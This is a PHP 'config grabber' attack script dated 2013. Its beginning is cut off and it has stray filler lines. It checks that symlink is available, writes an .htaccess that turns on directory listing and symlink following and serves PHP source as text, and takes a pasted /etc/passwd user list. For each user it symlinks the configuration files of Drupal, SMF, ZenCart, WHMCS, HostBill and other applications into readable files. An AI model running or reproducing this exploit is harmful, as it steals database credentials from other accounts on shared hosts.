x00x Config's Grabber By DamaneDz
";
$functions=@ini_get("disable_functions");
if(eregi("symlink",$functions)){
die("Symlink Function is DisableD, You Can't Continue This Process !!");
}
echo "Checking Done Without Problems, Continue ...
";
@mkdir("x00x_configs", 0755);
@chdir("x00x_configs");
$htaccess="
Options all
Options +Indexes
Options +Followsymlinks
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any
";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);
$passwd=$_POST["passwd"];
$passwd=explode("\n",$passwd);
echo "Start Symlinking ...
";
foreach($passwd as $pwd){
$pawd=explode(":",$pwd);
$user =$pawd[0];
// Now symlink Them
@
@
@
@
@
@
@
@
@
@
@
@
@
@
@
@
@
@
@
@
@symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop.txt');
@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt');
@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt');
@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt');
@symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt');
@symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt');
@symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt');
@symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt');
@symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
@symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt');
@symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
@symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
@symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
@symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
@symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
@symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ;
@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings.txt') ;
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');
@symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports.txt');
@symlink('/home/'.$user.'/public_html/requires/config.php',$user.'-AM4SS-hosting.txt');
@symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
@symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
@symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
@symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
}
echo "DonE with Success --> Click Here
";
}
?>
By DamaneDz
MaDe in AlGeria 2013 ©